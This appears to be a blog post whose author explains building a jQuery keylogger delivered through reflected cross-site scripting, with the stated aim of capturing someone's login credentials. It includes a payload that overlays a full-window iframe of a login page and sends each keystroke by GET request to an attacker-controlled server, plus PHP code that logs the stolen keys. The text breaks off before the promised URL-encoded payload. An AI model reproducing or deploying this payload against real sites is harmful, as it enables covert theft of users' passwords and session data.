JavaScript keylogger in JQuery.

Published on by

I needed to capture someone's login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly the HTTPOnly flag was set on the session meaning I couldn't hijack it.

So I came up with a solution that turns reflected cross site scripting into a crude form of persistent XSS and records the users keystrokes to a remote server. The idea is that you embed some XSS code in a vulnerable page on the same domain as the login page. Its important that its on the same domain so that we can access the contents of the iframe and hook the keyboard input. If its not on the same domain then the browser won't let you do this.

The general architecture of the exploit looks something like this.

The page with XSS spawns an iframe that fills up the contents of the window and places it over the top of everything currently in the window. The src of the Iframe should be whatever page you want to capture keystrokes from. It then adds a hook to the contents of the iframe so that every time there is a key press it polls back to a server controlled by the attacker.

The great thing about using the Iframe is that the user can navigate away from the page and the keystroke logger will still be running as the src of the parent Iframe remains the same and it is the parent Iframe in which the key logger resides.

The code

I used JQuery as I wanted the Key logger to be cross browser compliant, if the site your targeting has JQuery already included then you wont have to embed JQuery and can avoid the script tags all together. I also included a time stamp when sending the keystroke to the remote server as occasionally the GET requests were arriving out of order - having a time stamp enables you to reassemble the keystrokes in the correct order server-side.

<script src=""></script>
<iframe src="/login.php" id="w" style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:2; background-color:#ffffff;" onload="$('#w').contents().keypress(function(event) {$.get(''+event.which+'&t='+event.timeStamp,function(data){});});"></iframe>

You don't even need server side code to do the logging, as long as you have access to your web server error logs you should be able to see all the keystrokes arriving as GET requests. If you did want more friendly server-side code it might look something like this:

$f = fopen("/tmp/log.txt","a+");
fputs($f, $_SERVER['REMOTE_ADDR'] . "\t" . $_GET['t'] . "\t" . chr($_GET['x']) . "\n");

Encoding the payload:

The full url encoded payload is shown below, both the initial Iframe src page and the destination script for the key strokes are marked in bold. Both will need to be changed if you are to use this.